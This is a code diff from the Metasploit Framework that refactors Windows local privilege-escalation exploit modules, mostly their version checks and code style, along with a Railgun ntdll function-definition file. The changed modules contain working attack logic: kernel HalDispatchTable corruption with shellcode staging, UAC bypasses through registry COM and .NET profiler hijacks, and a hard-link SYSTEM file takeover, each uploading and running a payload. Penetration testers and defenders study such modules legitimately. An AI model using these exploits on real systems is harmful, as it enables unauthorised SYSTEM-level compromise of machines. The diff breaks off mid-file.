["PDWORD","BuildNumber","inout"] - ]) - - dll.add_function('RtlInitAnsiString', 'VOID',[ - ["PBLOB","DestinationString","inout"], - ["PBLOB","SourceString","inout"], - ]) - - dll.add_function('RtlInitString', 'VOID',[ - ["PBLOB","DestinationString","inout"], - ["PBLOB","SourceString","inout"], - ]) - - dll.add_function('RtlLocalTimeToSystemTime', 'DWORD',[ - ["PBLOB","LocalTime","in"], - ["PBLOB","SystemTime","inout"], - ]) - - dll.add_function('RtlNtStatusToDosError', 'DWORD',[ - ["DWORD","Status","in"], - ]) - - dll.add_function('RtlTimeToSecondsSince1970', 'BOOL',[ - ["PBLOB","Time","inout"], - ["PDWORD","ElapsedSeconds","inout"], - ]) - - dll.add_function('RtlUniform', 'DWORD',[ - ["PDWORD","Seed","inout"], - ]) - - dll.add_function('RtlUnwind', 'VOID',[ - ["PBLOB","TargetFrame","in"], - ["PBLOB","TargetIp","in"], - ["PBLOB","ExceptionRecord","in"], - ["PBLOB","ReturnValue","in"], - ]) - - dll.add_function('RtlInitUnicodeString', 'VOID',[ - ["PBLOB","DestinationString","out"], - ["PWCHAR","SourceString","in"] - ]) - - dll.add_function('NtCreateSymbolicLinkObject', 'DWORD',[ - ["PDWORD","LinkHandle","out"], - ["DWORD","DesiredAccess","in"], # ACCESS_MASK - ["PBLOB","ObjectAttributes","in"], # POBJECT_ATTRIBUTES - ["PBLOB","TargetName","in"] # PUNICODE_STRING - ]) - - return dll - end - -end - -end; end; end; end; end; end; end - +module Rex + module Post + module Meterpreter + module Extensions + module Stdapi + module Railgun + module Def + class Def_windows_ntdll + + def self.create_library(constant_manager, library_path = 'ntdll') + dll = Library.new(library_path, constant_manager) + + dll.add_function('NtAllocateVirtualMemory', 'DWORD', [ + ['DWORD', 'ProcessHandle', 'in'], + ['PBLOB', 'BaseAddress', 'inout'], + ['PDWORD', 'ZeroBits', 'in'], + ['PBLOB', 'RegionSize', 'inout'], + ['DWORD', 'AllocationType', 'in'], + ['DWORD', 'Protect', 'in'] + ]) + + dll.add_function('NtClose', 'DWORD', [ + ['DWORD', 'Handle', 'in'], + ]) + + dll.add_function('NtCreateFile', 'DWORD', [ + ['PHANDLE', 'FileHandle', 'inout'], + ['DWORD', 'DesiredAccess', 'in'], + ['PBLOB', 'ObjectAttributes', 'in'], + ['PBLOB', 'IoStatusBlock', 'inout'], + ['PBLOB', 'AllocationSize', 'in'], + ['DWORD', 'FileAttributes', 'in'], + ['DWORD', 'ShareAccess', 'in'], + ['DWORD', 'CreateDisposition', 'in'], + ['DWORD', 'CreateOptions', 'in'], + ['PBLOB', 'EaBuffer', 'in'], + ['DWORD', 'EaLength', 'in'], + ]) + + dll.add_function('NtDeviceIoControlFile', 'DWORD', [ + ['DWORD', 'FileHandle', 'in'], + ['DWORD', 'Event', 'in'], + ['LPVOID', 'ApcRoutine', 'in'], + ['LPVOID', 'ApcContext', 'in'], + ['PDWORD', 'IoStatusBlock', 'out'], + ['DWORD', 'IoControlCode', 'in'], + ['LPVOID', 'InputBuffer', 'in'], + ['DWORD', 'InputBufferLength', 'in'], + ['LPVOID', 'OutputBuffer', 'in'], + ['DWORD', 'OutputBufferLength', 'in'], + ]) + + dll.add_function('NtOpenFile', 'DWORD', [ + ['PHANDLE', 'FileHandle', 'inout'], + ['DWORD', 'DesiredAccess', 'in'], + ['PBLOB', 'ObjectAttributes', 'in'], + ['PBLOB', 'IoStatusBlock', 'inout'], + ['DWORD', 'ShareAccess', 'in'], + ['DWORD', 'OpenOptions', 'in'], + ]) + + dll.add_function('NtQueryInformationProcess', 'DWORD', [ + ['DWORD', 'ProcessHandle', 'in'], + ['DWORD', 'ProcessInformationClass', 'in'], + ['PBLOB', 'ProcessInformation', 'inout'], + ['DWORD', 'ProcessInformationLength', 'in'], + ['PDWORD', 'ReturnLength', 'inout'], + ]) + + dll.add_function('NtQueryInformationThread', 'DWORD', [ + ['DWORD', 'ThreadHandle', 'in'], + ['DWORD', 'ThreadInformationClass', 'in'], + ['PBLOB', 'ThreadInformation', 'inout'], + ['DWORD', 'ThreadInformationLength', 'in'], + ['PDWORD', 'ReturnLength', 'inout'], + ]) + + dll.add_function('NtQueryIntervalProfile', 'DWORD', [ + ['DWORD', 'ProfileSource', 'in'], + ['PDWORD', 'Interval', 'out'], + ]) + + dll.add_function('NtQuerySystemInformation', 'DWORD', [ + ['DWORD', 'SystemInformationClass', 'in'], + ['PBLOB', 'SystemInformation', 'inout'], + ['DWORD', 'SystemInformationLength', 'in'], + ['PDWORD', 'ReturnLength', 'inout'], + ]) + + dll.add_function('NtQuerySystemTime', 'DWORD', [ + ['PBLOB', 'SystemTime', 'inout'], + ]) + + dll.add_function('NtWaitForSingleObject', 'DWORD', [ + ['DWORD', 'Handle', 'in'], + ['BOOL', 'Alertable', 'in'], + ['PBLOB', 'Timeout', 'in'], + ]) + + dll.add_function('RtlCharToInteger', 'DWORD', [ + ['PBLOB', 'String', 'inout'], + ['DWORD', 'Base', 'in'], + ['PDWORD', 'Value', 'inout'], + ]) + + dll.add_function('RtlConvertSidToUnicodeString', 'DWORD', [ + ['PBLOB', 'UnicodeString', 'inout'], + ['PBLOB', 'Sid', 'inout'], + ['BOOL', 'AllocateDestinationString', 'in'], + ]) + + dll.add_function('RtlFreeAnsiString', 'VOID', [ + ['PBLOB', 'AnsiString', 'inout'], + ]) + + dll.add_function('RtlFreeOemString', 'VOID', [ + ['PBLOB', 'OemString', 'inout'], + ]) + + dll.add_function('RtlFreeUnicodeString', 'VOID', [ + ['PBLOB', 'UnicodeString', 'inout'], + ]) + + dll.add_function('RtlGetNtVersionNumbers', 'VOID', [ + ['PDWORD', 'MajorVersion', 'inout'], + ['PDWORD', 'MinorVersion', 'inout'], + ['PDWORD', 'BuildNumber', 'inout'] + ]) + + dll.add_function('RtlGetVersion', 'VOID', [ + ['PBLOB', 'VersionInformation', 'inout'] + ]) + + dll.add_function('RtlInitAnsiString', 'VOID', [ + ['PBLOB', 'DestinationString', 'inout'], + ['PBLOB', 'SourceString', 'inout'], + ]) + + dll.add_function('RtlInitString', 'VOID', [ + ['PBLOB', 'DestinationString', 'inout'], + ['PBLOB', 'SourceString', 'inout'], + ]) + + dll.add_function('RtlLocalTimeToSystemTime', 'DWORD', [ + ['PBLOB', 'LocalTime', 'in'], + ['PBLOB', 'SystemTime', 'inout'], + ]) + + dll.add_function('RtlNtStatusToDosError', 'DWORD', [ + ['DWORD', 'Status', 'in'], + ]) + + dll.add_function('RtlTimeToSecondsSince1970', 'BOOL', [ + ['PBLOB', 'Time', 'inout'], + ['PDWORD', 'ElapsedSeconds', 'inout'], + ]) + + dll.add_function('RtlUniform', 'DWORD', [ + ['PDWORD', 'Seed', 'inout'], + ]) + + dll.add_function('RtlUnwind', 'VOID', [ + ['PBLOB', 'TargetFrame', 'in'], + ['PBLOB', 'TargetIp', 'in'], + ['PBLOB', 'ExceptionRecord', 'in'], + ['PBLOB', 'ReturnValue', 'in'], + ]) + + dll.add_function('RtlInitUnicodeString', 'VOID', [ + ['PBLOB', 'DestinationString', 'out'], + ['PWCHAR', 'SourceString', 'in'] + ]) + + dll.add_function('NtCreateSymbolicLinkObject', 'DWORD', [ + ['PDWORD', 'LinkHandle', 'out'], + ['DWORD', 'DesiredAccess', 'in'], # ACCESS_MASK + ['PBLOB', 'ObjectAttributes', 'in'], # POBJECT_ATTRIBUTES + ['PBLOB', 'TargetName', 'in'] # PUNICODE_STRING + ]) + + return dll + end + + end + end; end; end; end; end; end; end diff --git a/modules/exploits/windows/local/alpc_taskscheduler.rb b/modules/exploits/windows/local/alpc_taskscheduler.rb index 7d726782704eb..b357c9d6e66de 100644 --- a/modules/exploits/windows/local/alpc_taskscheduler.rb +++ b/modules/exploits/windows/local/alpc_taskscheduler.rb @@ -32,30 +32,26 @@ def initialize(info = {}) This module has been tested against Windows 10 Pro x64. }, 'License' => MSF_LICENSE, - 'Author' => - [ - 'SandboxEscaper', # Original discovery and PoC - 'bwatters-r7', # msf module - 'asoto-r7', # msf module - 'Jacob Robles' # msf module - ], + 'Author' => [ + 'SandboxEscaper', # Original discovery and PoC + 'bwatters-r7', # msf module + 'asoto-r7', # msf module + 'Jacob Robles' # msf module + ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], - 'Targets' => - [ - ['Windows 10 x64', { 'Arch' => ARCH_X64 }] - ], - 'References' => - [ - ['CVE', '2018-8440'], - ['URL', 'https://github.com/SandboxEscaper/randomrepo/'], - ], - 'Notes' => - { - # Exploit overwrites PrintConfig.dll, which makes it unusable. - 'Stability' => [ OS_RESOURCE_LOSS ], - 'Reliability' => [ REPEATABLE_SESSION ] - }, + 'Targets' => [ + ['Windows 10 x64', { 'Arch' => ARCH_X64 }] + ], + 'References' => [ + ['CVE', '2018-8440'], + ['URL', 'https://github.com/SandboxEscaper/randomrepo/'], + ], + 'Notes' => { + # Exploit overwrites PrintConfig.dll, which makes it unusable. + 'Stability' => [ OS_RESOURCE_LOSS ], + 'Reliability' => [ REPEATABLE_SESSION ] + }, 'DisclosureDate' => '2018-08-27', 'DefaultTarget' => 0 ) @@ -79,7 +75,8 @@ def validate_target fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - if sysinfo['OS'] =~ /XP/ + version = get_version_info + if version.xp_or_2003? && version.workstation? fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end diff --git a/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb b/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb index c2350601f825f..15510882bf56e 100644 --- a/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb +++ b/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb @@ -13,64 +13,67 @@ class MetasploitModule < Msf::Exploit::Local include Exploit::FileDropper def initialize(info = {}) - super(update_info(info, - 'Name' => 'AppXSvc Hard Link Privilege Escalation', - 'Description' => %q( - There exists a privilege escalation vulnerability for - Windows 10 builds prior to build 17763. Due to the AppXSvc's - improper handling of hard links, a user can gain full - privileges over a SYSTEM-owned file. The user can then utilize - the new file to execute code as SYSTEM. - - This module employs a technique using the Diagnostics Hub Standard - Collector Service (DiagHub) which was discovered by James Forshaw to - load and execute a DLL as SYSTEM. - ), - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Nabeel Ahmed', # Vulnerability discovery and PoC - 'James Forshaw', # Code creating hard links and communicating with DiagHub service - 'Shelby Pace' # Metasploit module - ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'AppXSvc Hard Link Privilege Escalation', + 'Description' => %q{ + There exists a privilege escalation vulnerability for + Windows 10 builds prior to build 17763. Due to the AppXSvc's + improper handling of hard links, a user can gain full + privileges over a SYSTEM-owned file. The user can then utilize + the new file to execute code as SYSTEM. + + This module employs a technique using the Diagnostics Hub Standard + Collector Service (DiagHub) which was discovered by James Forshaw to + load and execute a DLL as SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nabeel Ahmed', # Vulnerability discovery and PoC + 'James Forshaw', # Code creating hard links and communicating with DiagHub service + 'Shelby Pace' # Metasploit module + ], + 'References' => [ [ 'CVE', '2019-0841' ], [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ], [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ] ], - 'Targets' => - [ + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows 10', { 'Platform' => 'win' } ] ], - 'DisclosureDate' => '2019-04-09', - 'DefaultTarget' => 0 - )) + 'DisclosureDate' => '2019-04-09', + 'DefaultTarget' => 0 + ) + ) end def check - return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i - - path = expand_path('%WINDIR%\\system32\\win32k.sys') - major, minor, build, revision, brand = file_version(path) - return CheckCode::Appears if build < 17763 + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803) + return CheckCode::Appears + elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease + return CheckCode::Detected + end - CheckCode::Detected + return CheckCode::Unknown end def upload_file(file_name, file_path) contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name)) write_file(file_path, contents) register_file_for_cleanup(file_path) - rescue + rescue StandardError fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target') end def init_process - print_status("Attempting to launch Microsoft Edge minimized.") - cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30) + print_status('Attempting to launch Microsoft Edge minimized.') + cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30) end def mk_hard_link(src, target, link_exe) @@ -91,8 +94,8 @@ def exploit fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system? - cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"") - dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat") + cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"') + dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat') fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path) if session.arch == ARCH_X86 @@ -109,7 +112,7 @@ def exploit fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name) print_good('Successfully created hard link') init_process - cmd_exec("taskkill /F /IM MicrosoftEdge.exe") + cmd_exec('taskkill /F /IM MicrosoftEdge.exe') write_payload diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}") @@ -119,10 +122,12 @@ def exploit end def cleanup - folder_path = expand_path("%TEMP%\\etw") + folder_path = expand_path('%TEMP%\\etw') dir_rm(folder_path) - write_file(@rtf_path, @original_data) + unless @rtf_path.nil? + write_file(@rtf_path, @original_data) + end super end end diff --git a/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb b/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb index 9ab74229682cc..c1bd3499b016c 100644 --- a/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb +++ b/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb @@ -152,11 +152,10 @@ def initialize(info = {}) # - Checks if the session is not already SYSTEM def check privs = client.sys.config.getprivs - os = client.sys.config.sysinfo['OS'] - + version = get_version_info # Fast fails - if os.include?('Windows 7') || os.include?('Windows XP') - print_bad("Operating system: #{os}") + if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server? + print_bad("Operating system: #{version.product_name}") print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.') return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index f2d6727a5b17b..77fcaff9363f7 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -86,10 +86,10 @@ def ring0_shellcode end def fill_memory(proc, address, length, content) - session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') unless proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + vprint_error('Failed to allocate memory') return nil end vprint_good("#{address} is now writable") @@ -97,7 +97,7 @@ def fill_memory(proc, address, length, content) result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil end vprint_good("Contents successfully written to 0x#{address.to_s(16)}") @@ -132,14 +132,14 @@ def disclose_addresses(t) def check # covers both native x64 and WOW64 - if sysinfo["Architecture"] == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 return Exploit::CheckCode::Safe end - os = sysinfo["OS"] - return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i + version = get_version_info + return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3 - handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') return Exploit::CheckCode::Safe unless handle session.railgun.kernel32.CloseHandle(handle) @@ -153,25 +153,25 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end - handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? - fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device") + fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device') end my_target = targets[0] - print_status("Disclosing the HalDispatchTable address...") + print_status('Disclosing the HalDispatchTable address...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.') else - print_good("Address successfully disclosed.") + print_good('Address successfully disclosed.') end - print_status("Storing the shellcode in memory...") + print_status('Storing the shellcode in memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode kernel_shell_address = 0x1 @@ -183,28 +183,28 @@ def exploit result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') end print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") - session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') session.railgun.ntdll.NtQueryIntervalProfile(2, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') unless is_system? fail_with(Failure::Unknown, "The privilege escalation wasn't successful") end - print_good("Privilege escalation successful!") + print_good('Privilege escalation successful!') p = payload.encoded print_status("Injecting #{p.length} bytes to memory and executing it...") unless execute_shellcode(p) - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 8ccec28e12cc4..6947cd8a4f0c7 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -51,7 +51,7 @@ def initialize(info = {}) register_options([ OptEnum.new('TECHNIQUE', [ true, 'Technique to use if UAC is turned off', - 'EXE', %w(PSH EXE) + 'EXE', %w[PSH EXE] ]), ]) end @@ -64,12 +64,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -107,16 +105,16 @@ def exploit session.sys.process.kill(pid) # delete the uac bypass payload file_rm(path_bypass) - file_rm("#{expand_path("%TEMP%")}\\tior.exe") - cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"") + file_rm("#{expand_path('%TEMP%')}\\tior.exe") + cmd_exec('cmd.exe', "/c del \"#{expand_path('%TEMP%')}\\w7e*.tmp\"") end def path_bypass - @bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe" + @path_bypass ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe" end def path_payload - @payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe" + @path_payload ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe" end def upload_binaries! @@ -137,7 +135,7 @@ def upload_binaries! # # Upload UAC bypass to the filesystem # - upload_file("#{path_bypass}", bpexe) + upload_file(path_bypass.to_s, bpexe) print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") write_file(path_payload, payload) @@ -159,24 +157,21 @@ def runas_method end def validate_environment! - fail_with(Failure::None, 'Already in elevated state') if is_admin? or is_system? + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # # Verify use against Vista+ # - winver = sysinfo['OS'] - - unless winver =~ /Windows Vista|Windows 2008|Windows [78]/ - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81) + fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.") end if is_uac_enabled? print_status 'UAC is Enabled, checking level...' + elsif is_in_admin_group? + fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...') else - if is_in_admin_group? - fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end diff --git a/modules/exploits/windows/local/bypassuac_comhijack.rb b/modules/exploits/windows/local/bypassuac_comhijack.rb index 16fa1e7c3c4f2..790b7325acd98 100644 --- a/modules/exploits/windows/local/bypassuac_comhijack.rb +++ b/modules/exploits/windows/local/bypassuac_comhijack.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas + include Post::Windows::Version include Exploit::FileDropper CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze @@ -69,25 +70,13 @@ def initialize(info = {}) end def check - vprint_status("System OS Detected: #{sysinfo['OS']}") + version_info = get_version_info + vprint_status("System OS Detected: #{version_info.product}") # return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled? - if sysinfo['OS'] =~ /Windows (7|8|2008|2012)/ + if version_info.build_number.between?(Msf::WindowsVersion::Win7, Msf::WindowsVersion::Win10_1903) return CheckCode::Appears end - if sysinfo['OS'] =~ /Windows (10|2016)/ - sysinfo_value = sysinfo['OS'] - build_num_arr = sysinfo_value.split('Build') - return CheckCode::Safe('Unable to determine build Number') if build_num_arr.length < 2 - - build_num = build_num_arr[1].to_i - vprint_status("Detected build number: #{build_num}") - if build_num < 18362 - return CheckCode::Appears - else - return CheckCode::Safe - end - end return CheckCode::Safe end diff --git a/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb b/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb index 87ad752100940..db2eccf738072 100644 --- a/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb +++ b/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb @@ -63,7 +63,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? + get_version_info + if is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -73,7 +74,7 @@ def check def write_reg_value(registry_hash) vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") begin - if not registry_key_exist?(registry_hash[:key_name]) + if !registry_key_exist?(registry_hash[:key_name]) registry_createkey(registry_hash[:key_name]) registry_hash[:delete_on_cleanup] = true else @@ -101,7 +102,7 @@ def remove_reg_value(registry_hash) registry_deleteval(registry_hash[:key_name], registry_hash[:value_name]) end rescue Rex::Post::Meterpreter::RequestError => e - print_bad("Unable to clean up registry") + print_bad('Unable to clean up registry') print_error(e.to_s) end end @@ -126,44 +127,45 @@ def exploit # get directory locations straight win_dir = session.sys.config.getenv('windir') - vprint_status("win_dir = " + win_dir) + vprint_status('win_dir = ' + win_dir) tmp_dir = session.sys.config.getenv('tmp') - vprint_status("tmp_dir = " + tmp_dir) - exploit_dir = win_dir + "\\System32\\" - vprint_status("exploit_dir = " + exploit_dir) - target_filepath = exploit_dir + "gpedit.msc" - vprint_status("target_filepath = " + target_filepath) - payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll' + vprint_status('tmp_dir = ' + tmp_dir) + exploit_dir = win_dir + '\\System32\\' + vprint_status('exploit_dir = ' + exploit_dir) + target_filepath = exploit_dir + 'gpedit.msc' + vprint_status('target_filepath = ' + target_filepath) + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.dll' payload_pathname = tmp_dir + '\\' + payload_name # make payload - vprint_status("Making Payload") - vprint_status("payload_pathname = " + payload_pathname) + vprint_status('Making Payload') + vprint_status('payload_pathname = ' + payload_pathname) payload = generate_payload_dll uuid = SecureRandom.uuid vprint_status("UUID = #{uuid}") # This reg key will not hurt anything in windows 10+, but is not required. - unless sysinfo['OS'] =~ /Windows (2016|10)/ + version = get_version_info + unless version.build_number >= Msf::WindowsVersion::Win10_InitialRelease @reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32", value_name: '', - value_type: "REG_EXPAND_SZ", + value_type: 'REG_EXPAND_SZ', value_value: payload_pathname, delete_on_cleanup: false) end - @reg_keys.push(key_name: "HKCU\\Environment", - value_name: "COR_PROFILER", - value_type: "REG_SZ", + reg_keys.push(key_name: "HKCU\\Environment", + value_name: 'COR_PROFILER', + value_type: 'REG_SZ', value_value: "{#{uuid}}", delete_on_cleanup: false) - @reg_keys.push(key_name: "HKCU\\Environment", - value_name: "COR_ENABLE_PROFILING", - value_type: "REG_SZ", - value_value: "1", + reg_keys.push(key_name: "HKCU\\Environment", + value_name: 'COR_ENABLE_PROFILING', + value_type: 'REG_SZ', + value_value: '1', delete_on_cleanup: false) - @reg_keys.push(key_name: "HKCU\\Environment", - value_name: "COR_PROFILER_PATH", - value_type: "REG_SZ", + reg_keys.push(key_name: "HKCU\\Environment", + value_name: 'COR_PROFILER_PATH', + value_type: 'REG_SZ', value_value: payload_pathname, delete_on_cleanup: false) @reg_keys.each do |key_hash| @@ -173,31 +175,31 @@ def exploit # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) - vprint_status("Payload Upload Complete") + vprint_status('Payload Upload Complete') - vprint_status("Launching " + target_filepath) + vprint_status('Launching ' + target_filepath) begin session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end print_warning("This exploit requires manual cleanup of '#{payload_pathname}'") - print_status("Please wait for session and cleanup....") + print_status('Please wait for session and cleanup....') end def cleanup if @reg_keys.present? - vprint_status("Removing Registry Changes") + vprint_status('Removing Registry Changes') @reg_keys.each do |key_hash| remove_reg_value(key_hash) end - vprint_status("Registry Changes Removed") + vprint_status('Registry Changes Removed') end end def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -208,12 +210,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_eventvwr.rb b/modules/exploits/windows/local/bypassuac_eventvwr.rb index 3a0cc58f7a90a..f5d6985725d7b 100644 --- a/modules/exploits/windows/local/bypassuac_eventvwr.rb +++ b/modules/exploits/windows/local/bypassuac_eventvwr.rb @@ -11,13 +11,13 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Registry include Post::Windows::Runas - EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile" - EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" - EXEC_REG_VAL = '' # This maps to "(Default)" - 